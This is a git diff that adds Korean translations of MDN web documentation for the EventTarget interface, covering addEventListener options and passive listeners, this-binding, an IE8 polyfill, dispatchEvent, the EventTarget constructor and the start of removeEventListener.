+  window.addEventListener("test", options, options);
+  window.removeEventListener("test", options, options);
+} catch(err) {
+  passiveSupported = false;
+}
+ +

이렇게 하면 passive 속성(프로퍼티)에 대한 getter함수를 사용하여 options 객체가 만들어집니다; get을 호출 할 경우 gtter는 플래그 passiveSupportedtrue로 설정합니다. 즉, 브라우저가 options 객체의 passive 속성 값을 검사하면 passiveSupportedtrue로 설정됩니다; 그렇지 않으면 false가 유지됩니다. 그리고 addEventListener()를 호출하여 가짜 이벤트 핸들러를 설정합니다. 해당 옵션을 지정하여 브라우저가 객체를 세 번째 매개 변수로 인식하면 옵션을 확인합니다. 그런 다음 removeEventListener() 를 호출하여 스스로 정리합니다. (handleEvent()는 호출되지 않은 이벤트 리스너에서는 무시됩니다.) 

+ +

이 방법으로 지원되는 옵션이 있는지 확인할 수 있습니다. 위와 비슷한 코드를 사용하여 해당 옵션에 대한 getter를 추가하기 만하면됩니다.

+ +

그런 다음 문제의 옵션을 사용하는 실제 이벤트 리스너를 만들려면 다음과 같이 쓸 수 있습니다:

+ +
someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);
+ +

여기에서는 {{event("mouseup")}} 이벤트에 대한 리스너를 someElement요소에 추가합니다.  새 번째 매개변수의 경우 passiveSupported가 true면, options 객체를 passive : true 로 설정합니다; 그렇지 않으면, 우리는 Boolean을 전달해야 함올 알고있습니다. useCapture 매개변수의 값으로 false 를 전달합니다.

+ +

원하는 경우 Modernizr 혹은 Detect It 과 같은 서드파티 라이브러리를 사용하여 이러한 테스트를 수행할 수 있습니다.

+ +

Web Incubator Community Group의 EventListenerOptions에 대한 기사에서 더 많은 것을 배울 수 있습니다.

+ +

예제

+ +

간단한 리스너 추가

+ +

이 예제는 addEventListener() 를 사용하여 요소에 대한 마우스 클릭을 감지하는 방법을 보여줍니다.

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "three") {
+    t2.firstChild.nodeValue = "two";
+  } else {
+    t2.firstChild.nodeValue = "three";
+  }
+}
+
+// add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+
+ +

이 코드에서, modifyText() 는 addEventListener()를 사용하여 등록된 click 이벤트에 대한 리스너입니다. 테이블의 아무곳이나 클릭하더라도, 핸들러에서 버블링되고 modifyText() 가 실행됩니다.

+ +

결과

+ +

{{EmbedLiveSample('간단한_리스너_추가')}}

+ +

익명 함수와 이벤트 리스너

+ +

여기서는 익명 함수를 사용하여 매개 변수를 이벤트 리스너에 전달하는 방법을 살펴보겠습니다.

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Function to add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+
+ +

리스너는 코드를 캡슐화 하는 익명 함수입니다. 이 익명의 함수는 실제로 이벤트에 응답하는 책임이 있는 modifyText() 함수에 매개변수를 전달 할 수 있습니다.

+ +

Result

+ +

{{EmbedLiveSample('익명_함수와_이벤트_리스너')}}

+ +

화살표 함수와 이벤트 리스너

+ +

이 예제는 화살표 함수를 사용하여 구현된 간단한 이벤트 리스너를 보여줍니다. 

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () => { modifyText("four"); }, false);
+
+ +

결과

+ +

{{EmbedLiveSample('화살표_함수와_이벤트_리스너')}}

+ +

화살표 함수와 익명 함수는 유사하지만 서로 다른 this바인딩을 가집니다. 익명(모든 전통적인 자바스크립트 함수)는 그들 자신의 this 바인딩을 만들지만, 화살표 함수는 포함하고 있는 함수의 this바인딩을 상속합니다.

+ +

즉, 화살표 함수를 사용할 때 포함하고 있는 함수에서 사용중인 변수 및 상수를 이벤트 핸들러에서 사용할 수 있습니다.

+ +

옵션의 사용 예제

+ +

HTML

+ +
<div class="outer">
+    outer, once & none-once
+    <div class="middle" target="_blank">
+        middle, capture & none-capture
+        <a class="inner1" href="https://www.mozilla.org" target="_blank">
+            inner1, passive & preventDefault(which is not allowed)
+        </a>
+        <a class="inner2" href="https://developer.mozilla.org/" target="_blank">
+            inner2, none-passive & preventDefault(not open new page)
+        </a>
+    </div>
+</div>
+
+ +

CSS

+ +
    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+
+ +

JavaScript

+ +
    let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer.addEventListener('click', onceHandler, once);
+    outer.addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event)
+    {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event)
+    {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event)
+    {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event)
+    {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event)
+    {
+        // Unable to preventDefault inside passive event listener invocation.
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event)
+    {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+
+ +

Result

+ +

옵션이 어떻게 작동하는지 보려면 각각 outer, middle, inner 컨테이너를 클릭해 보세요.

+ +

{{ EmbedLiveSample('옵션의_사용_예제', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}

+ +

options 객체에서 특정 값을 사용하기 전에, 모든 브라우저의 모든 버전이 지원하는 것은 아니므로, 사용자의 브라우저가 해당 기능을 지원하는지 확인하는 것이 좋습니다. 자세한 내용은 {{anch("Safely detecting option support")}} 을 참조하세요.

+ +

Other notes

+ +

addEventListener를 사용하나요?

+ +

addEventListener() 는 W3C 에서 지정한 DOM에 이벤트 리스너를 등록하는 방법입니다. 장점은 다음과 같습니다:

+ + + +

대안으로, 이벤트 리스너를 등록하는 오래된 방법은 아래에 설명되어 있습니다.

+ +

이벤트 전달중에 리스너 추가

+ +

{{domxref("EventListener")}} 가 이벤트 처리중에 {{domxref("EventTarget")}}에 추가되었다면, 그 이벤트는 리스너를 트리거하지 않습니다. 그러나 동일한 리스너는 버블링 단계와 같은 이벤트 흐름의 나중 단계에서 트리거 될 수 있습니다. 

+ +

다수의 동일한 이벤트 리스너

+ +

만약 동일한 여러개의 EventListener 가 동일한 매개변수(parameter)로 동일한 EventTarget 에 등록되었다면, 중복된 항목(인스턴스)들은 버려집니다. EventListener는 두번 호출되지 않으며 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 메서드를 사용해 직접 제거할 필요가 없습니다. 그러나 익명 함수를 핸들러로 사용할 때, 루프를 도는 경우가 있습니다. 이 경우 단순히 반복적으로 호출하는 동일한 소스 코드를 사용하여 이벤트를 등록하더라도, 익명 함수는 동일하지 않고 이 때문에 리스너 또한 동일하지 않습니다. 이와 같은 경우 동일한 함수를 반복적으로 정의하는 것이 더 문제가 될 수 있습니다. (아래의 메모리 문제를 참조하세요.)

+ +

핸들러 내부의 this 값

+ +

유사한 요소 집합에 대한 일반적인 핸들러를 사용할 때와 같이, 이벤트 핸들러가 동작한 엘리먼트를 참조하는것이 좋습니다.

+ +

addEventListener() 를 사용하여 핸들러 함수를 요소에 연결하면, 핸들러 내부의 this 값은 요소에 대한 참조입니다. 이것은 핸들러에 전달 된 이벤트 인수(아규먼트)의 currentTarget 속성(프로퍼티)값과 같습니다.

+ +
my_element.addEventListener('click', function (e) {
+  console.log(this.className)           // logs the className of my_element
+  console.log(e.currentTarget === this) // logs `true`
+})
+
+ +

다시 말해, 화살표 함수에는 this 컨텍스트가 없습니다.

+ +
my_element.addEventListener('click', (e) => {
+  console.log(this.className)           // WARNING: `this` is not `my_element`
+  console.log(e.currentTarget === this) // logs `false`
+})
+ +

HTML 소스의 요소(element)에 이벤트 핸들러(예: onclick)가 지정된 경우, 속성 값(attribute value)의 자바스크립트 코드는 효과적으로 addEventListener() 에 따라  this값을 바인드하는 핸들러 함수로 래핑됩니다. 코드 내에서 this가 발생하면 요소에 대한 참조를 나타냅니다.

+ +
<table id="my_table" onclick="console.log(this.id);"><!-- `this` refers to the table; logs 'my_table' -->
+  ...
+</table>
+
+ +

속성 값(attribute value)의 코드에 의해 호출 된 함수 내부의 this 는 표준 규칙들에 따라 동작합니다. 다음은 그 예입니다.

+ +
<script>
+  function logID() { console.log(this.id); }
+</script>
+<table id="my_table" onclick="logID();"><!-- when called, `this` will refer to the global object -->
+  ...
+</table>
+
+
+ +

logID() 내의 this 값은 {{domxref("Window")}} 전역 객체에 대한 참조입니다. (혹은 strict mode 의 경우 undefined입니다.)

+ +

bind()를 사용하여 this지정하기

+ +

Function.prototype.bind() 메서드를 사용하면 지정한 함수에 대한 모든 호출에 대해 this 값으로 사용해야 하는 값을 지정할 수 있습니다. 이를 이용하여 함수가 호출 된 컨텍스트에 따라 this 가 무엇인지 명확하지 않은 문제를 쉽게 우회할 수 있습니다. 그러나 나중에 제거할 수 있도록, 주위에 리스너에 대한 참조를 유지해야 합니다.

+ +

다음은 bind() 를 사용한, 사용하지 않은 예제입니다 :

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as |this| is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+
+ +

또 다른 해결책은 handleEvent()라는 특수 함수를 사용하여 어떤 이벤트를 캐치 하는것입니다 :

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is bound to newly created object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are |this|, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listeners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+
+ +

this에 대한 참조를 처리하는 또 다른 방법은, EventListener 에 함수를 전달하는 것입니다. 이 함수는 접근을 필요로 하는 필드가 들어있는, 객체의 메서드를 호출하는 함수입니다:

+ +
class SomeClass {
+
+  constructor() {
+    this.name = 'Something Good';
+  }
+
+  register() {
+    var that = this;
+    window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+  }
+
+  someMethod(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // some code here...
+        break;
+      case 6:
+        // some code here...
+        break;
+    }
+  }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();
+ +

오래된 인터넷 익스플로러와 attachEvent

+ +

인터넷 익스플로러 9 이전 버전에서는, 표준 addEventListener() 가 아닌 {{domxref("EventTarget.attachEvent", "attachEvent()")}}를 사용해야 합니다. IE의 경우 위의 예제를 다음과 같이 수정합니다:

+ +
if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+
+ +

attachEvent()의 단점은 다음과 같습니다: this의 값이 이벤트가 바인드되어 있는 요소 대신에, window객체에 대한 참조가 됩니다.

+ +

attachEvent() 메서드는 onresize 이벤트와 쌍을 이루어 웹 페이지의 특정 요소의 크기가 리사이징 되는 시점을 감지할 수 있습니다. mselementresize 라는 독점적인 이벤트는, 이벤트 핸들러를 등록하는 addEventListener 메서드와 함께 사용할 때 onresize와 유사한 기능을 제공하여, 특정 HTML 요소의 크기를 리사이징 할 때 실행됩니다.

+ +

호환성

+ +

스크립트 시작 부분에 다음 코드를 사용하여, 인터넷 익스플로러 8 에서 지원하지 않는 addEventListener(), removeEventListener(), {{domxref("Event.preventDefault()")}}, {{domxref("Event.stopPropagation()")}} 을 해결할 수 있습니다. 이 코드는 handleEvent()와 {{event("DOMContentLoaded")}} 이벤트에 대한 사용을 지원합니다.

+ +
+

참고: IE8 에서는 useCapture를 지원할 수 있는 다른 방법이 없습니다. 다음의 코드는 IE8 지원만 추가합니다. 이 IE8 폴리필은 표준 모드에서만 작동합니다: doctype 선언이 필요합니다.

+
+ +
(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter<eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();
+ +

이벤트 리스너를 등록하는 고전적인 방법

+ +

addEventListener()는 DOM 2 Events 명세와 함께 도입되었습니다. 그 전에는 다음과 같이 이벤트 리스너를 등록했습니다:

+ +
// Passing a function reference ? do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+  // ... function logic ...
+};
+
+ +

This 이 메서드는 요소의 기존 click 이벤트 리스너가 있을 경우에, 그것을 대체합니다. blur (onblur) 및 keypress (onkeypress) 와 같은 다른 이벤트 및 이벤트 핸들러도 비슷하게 작동합니다.

+ +

이것은 본질적으로 {{glossary("DOM", "DOM 0")}}의 일부였기 때문에, 이벤트 리스너를 추가하는데 매우 광범위하게 지원되며 특별한 크로스 브라우징 코드가 필요하지 않습니다. 이것은 일반적으로 addEventListener()의 추가 기능이 필요하지 않으면, 이벤트 리스너를 동적으로 등록하는데 사용합니다.

+ +

메모리 이슈

+ +
var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", function(e){/*do something*/}, false);
+}
+
+// Case 2
+function processEvent(e){
+  /*do something*/
+}
+
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", processEvent, false);
+}
+
+ +

위의 첫 번째 경우, 루프의 각 반복마다 새로운 익명 핸들러 함수가 생성됩니다. 두 번째 경우에는 이전에 선언한 동일한 함수를 이벤트 핸들러로 사용하므로, 메모리 소비가 줄어듭니다. 또한 첫 번째 경우에는 removeEventListener()를 호출할 수 없습니다. 익명 함수에 대한 참조가 유지되지 않기 때문입니다.(루프가 생성할 수 있는 여러개의 익명 함수 중 하나에 보관되지 않습니다) 두 번째 경우에는 processEvent가 함수 참조이기 때문에, myElement.removeEventListener("click", processEvent, false)를 수행할 수 있습니다.

+ +

사실, 메모리 소비와 관련하여, 함수 참조를 유지하는 것은 진짜 문제가 아닙니다. 오히려 정적 함수 참조를 유지하는 것이 부족합니다. 아래의 두 경우(3,4번째 케이스) 모두 함수 참조가 유지되지만, 각 반복에서 재정의 되므로 정적이 아닙니다. 세 번째 경우에는 익명 함수에 대한 참조가, 반복될 때 마다 다시 할당됩니다. 네 번째 경우에는 전체 함수 정의가 변경되지 않지만, 새로운 것처럼(컴파일러에 의해 [[promoted]]되지 않는 한) 반복적으로 정의되고 있고 그래서 정적이지 않습니다. 따라서 간단하게 [[여러개의 동일한 이벤트 리스너]]인 것처럼 보이지만, 두 경우 모두 각 반복은 핸들러 함수에 대한 고유한 참조로 새로운 리스너를 생성합니다. 그러나 함수 정의 자체는 변경되지 않으므로, 모든 중복 리스너에 대해 같은 함수가 여전히 호출될 수 있습니다.(특히 코드가 최적화되는 경우)

+ +

또한 두 경우 모두 함수 참조가 유지되었지만, 각 가산에 대해 반복적으로 재정의 되었습니다. 위에서 사용했던 remove 문(statement)으로는 리스너를 제거할 수 있지만, 마지막으로 추가한 리스너만 제거됩니다.

+ +
// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element
+
+// Case 3
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false);
+}
+
+// Case 4
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  function processEvent(e){/*do something*/};
+  els[j].addEventListener("click", processEvent, false);
+}
+ +

passive 리스너로 스크롤링 성능 향상

+ +

명세에 따르면, passive option의 기본값은 항상 false 입니다. 그러나 이것은 이벤트 리스너가 특정 터치 이벤트를 처리하는 경우(다른 이벤트를 포함하여), 스크롤을 처리하는 동안 브라우저의 메인 스레드를 차단하기 때문에, 스크롤 처리 시 성능이 크게 저하될 수 있습니다.

+ +

이러한 문제를 방지하기 위하여, 일부 브라우저(특히 크롬과 파이어폭스)는 document-level nodes인 {{domxref("Window")}}, {{domxref("Document")}}, {{domxref("Document.body")}}의 경우 {{event("touchstart")}} 와{{event("touchmove")}} 이벤트에 대해 passive 옵션의 기본값을 true로 변경했습니다. 이렇게 하면 이벤트 리스너가 호출되지 않으므로, 사용자가 스크롤 하는 동안 페이지 렌더링을 차단할 수 없습니다.

+ +
+

참고: 이 변경된 동작을 구현하는 브라우저(혹은 브라우저의 버전)을 알아야 할 경우 아래의 호환성 표를 참조하세요.

+
+ +

다음과 같이 passive의 값을 명시적으로 false로 설정을 오버라이드 하여 이 동작을 무시할 수 있습니다:

+ +
/* Feature detection */
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+}, passiveIfSupported );
+
+ +

addEventListener()에 대한 options 매개변수를 지원하지 않는 이전 브라우저에서는, feature detection를 사용하지 않고는 useCapture 인수를 사용하지 못하도록 해야 합니다.

+ +

{{event("scroll")}} 이벤트의 기본 passive 값에 대해 걱정할 필요는 없습니다. 취소할 수 없기 때문에, 이벤트 리스너는 페이지 렌더링을 차단할 수 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.EventTarget.addEventListener", 3)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/eventtarget/dispatchevent/index.html b/files/ko/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..327813fde6 --- /dev/null +++ b/files/ko/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,79 @@ +--- +title: EventTarget.dispatchEvent() +slug: Web/API/EventTarget/dispatchEvent +tags: + - API + - DOM + - DOM 엘리먼트 메소드 + - Gecko + - 메소드 +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{APIRef("DOM Events")}}

+ +

영향을 받는 {{domxref("EventListener")}} 를 적절한 순서로 호출하는 지정된 {{domxref("EventTarget")}} 에서 {{domxref("Event")}} 를 (동기적으로) 디스패치합니다. 일반 이벤트 처리 규칙(capturing 과 선택적인 bubbling 단계를 포함해)은 dispatchEvent() 를 사용하여 수동으로 전달 된 이벤트에도 적용됩니다.

+ +

구문

+ +
cancelled = !target.dispatchEvent(event)
+
+ +

파라미터

+ + + +

반환 값

+ + + +

dispatchEvent 메서드는 그 이벤트의 타입이 메서드의 호출이전에 초기화되지 않았을 경우 UNSPECIFIED_EVENT_TYPE_ERR 에러를 발생시킵니다. 또는 이벤트의 타입이 null 이거나 공백 스트링을 경우에도 같은 에러를 발생시킵니다. 이벤트 핸들러에 의해 발생한 이벤트는 잡히지 않은 예외(uncaugt exceptions)로 보고가 되며 이벤트 핸들러는 내부 콜스택(nested callstack)에서 실행이 됩니다. 이는 곧 완료가 될 때까지 호출자(caller)를 막는 다는 뜻이고 예외들이 호출자(caller)에게 전파(propagate)되지 않음을 말합니다. 

+ +

노트

+ +

DOM에 의해 시작되고 이벤트 루프를 통해 이벤트 핸들러를 비동기 적으로 호출하는 "네이티브" 이벤트와 달리 dispatchEvent 는 이벤트 핸들러를 동기적으로 호출합니다. dispatchEvent 를 호출 한 후 코드가 계속되기 전에 모든 해당 이벤트 핸들러가 실행되고 리턴됩니다.

+ +

implementation's 이벤트 모델의 디스패치 이벤트에 사용되는 create-init-dispatch 프로세스의 마지막 단계입니다. 이벤트는 Event 생성자를 사용하여 만들 수 있습니다.

+ +

Event 객체 레퍼런스도 한번 확인해 보세요

+ +

예시

+ +

이벤트 생성 및 트리거 문서를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM WHATWG') }}DOM 2 Events 명세의 초기 정의.
+ +

브라우저 호환성

+ +

 

+ + + +

 

+ +

{{Compat("api.EventTarget.dispatchEvent")}}

+ +

 

diff --git a/files/ko/web/api/eventtarget/eventtarget/index.html b/files/ko/web/api/eventtarget/eventtarget/index.html new file mode 100644 index 0000000000..054c831826 --- /dev/null +++ b/files/ko/web/api/eventtarget/eventtarget/index.html @@ -0,0 +1,70 @@ +--- +title: EventTarget() +slug: Web/API/EventTarget/EventTarget +translation_of: Web/API/EventTarget/EventTarget +--- +
{{APIRef("DOM Events")}}
+ +

EventTarget() 생성자는 새로운 {{domxref("EventTarget")}} 객체 인스턴스를 만듭니다.

+ +

Syntax

+ +
var myEventTarget = new EventTarget();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

{{domxref("EventTarget")}} 객체의 인스턴스를 반환합니다.

+ +

Examples

+ +
class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.EventTarget.EventTarget")}}

+ +

See also

+ + diff --git a/files/ko/web/api/eventtarget/index.html b/files/ko/web/api/eventtarget/index.html new file mode 100644 index 0000000000..5addf5b9d6 --- /dev/null +++ b/files/ko/web/api/eventtarget/index.html @@ -0,0 +1,133 @@ +--- +title: EventTarget +slug: Web/API/EventTarget +tags: + - API + - DOM + - DOM Events + - EventTarget + - Interface + - Reference +translation_of: Web/API/EventTarget +--- +
{{ApiRef("DOM Events")}}
+ +

EventTarget은 이벤트를 받을 수 있으며, 이벤트에 대한 수신기(listener)를 가질 수 있는 객체가 구현하는 DOM 인터페이스입니다.

+ +

{{domxref("Element")}}, {{domxref("document")}} 및 {{domxref("window")}}가 가장 흔한 이벤트 대상이지만, 다른 객체, 예컨대 {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}} 등 역시 이벤트 대상이 될 수 있습니다.

+ +

많은 이벤트 대상(요소, 문서, 창, ...)은 onevent 속성과 특성을 사용한 이벤트 처리기 등록도 지원합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("EventTarget.EventTarget()", "EventTarget()")}}
+
새로운 EventTarget 객체 인스턴스를 생성합니다.
+
+ +

메서드

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
EventTarget에 특정 이벤트 유형의 이벤트 처리기를 등록합니다.
+
{{domxref("EventTarget.removeEventListener()")}}
+
EventTarget에서 주어진 이벤트 수신기를 제거합니다.
+
{{domxref("EventTarget.dispatchEvent()")}}
+
EventTarget에 이벤트를 디스패치 합니다.
+
+ + + +

예제

+ +

간단한 EventTarget 구현

+ +
var EventTarget = function() {
+  this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    this.listeners[type] = [];
+  }
+  this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[type];
+  for (var i = 0, l = stack.length; i < l; i++) {
+    if (stack[i] === callback){
+      stack.splice(i, 1);
+      return;
+    }
+  }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+  if (!(event.type in this.listeners)) {
+    return true;
+  }
+  var stack = this.listeners[event.type].slice();
+
+  for (var i = 0, l = stack.length; i < l; i++) {
+    stack[i].call(this, event);
+  }
+  return !event.defaultPrevented;
+};
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}{{Spec2('DOM WHATWG')}}변화 없음.
{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}{{Spec2('DOM3 Events')}}매개변수 약간이 이제 선택사항(listener) 또는 null 값을 받아들임(useCapture).
{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}{{Spec2('DOM2 Events')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.EventTarget")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/eventtarget/removeeventlistener/index.html b/files/ko/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..d81a32e8c9 --- /dev/null +++ b/files/ko/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,211 @@ +--- +title: EventTarget.removeEventListener() +slug: Web/API/EventTarget/removeEventListener +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

EventTarget.removeEventListener() 메서드는 이전에{{domxref("EventTarget.addEventListener()")}}로 {{domxref("EventTarget")}} 에 등록했던 이벤트 리스너를 제거합니다. 이 이벤트 리스너는 이벤트 종류와 이벤트 리스너 함수 자체의 조합으로 식별되어 제거되며, 등록시 제공했던 다양한 옵션과 일치하는 이벤트 리스너만 제거할 수 있습니다.  {{anch("Matching event listeners for removal")}}를 참고하세요.

+ +

Syntax

+ +
target.removeEventListener(type, listener[, options]);
+target.removeEventListener(type, listener[, useCapture]);
+ +

Parameters

+ +
+
type
+
제거할 이벤트 리스너의 이벤트 타입을 지정합니다.
+
listener
+
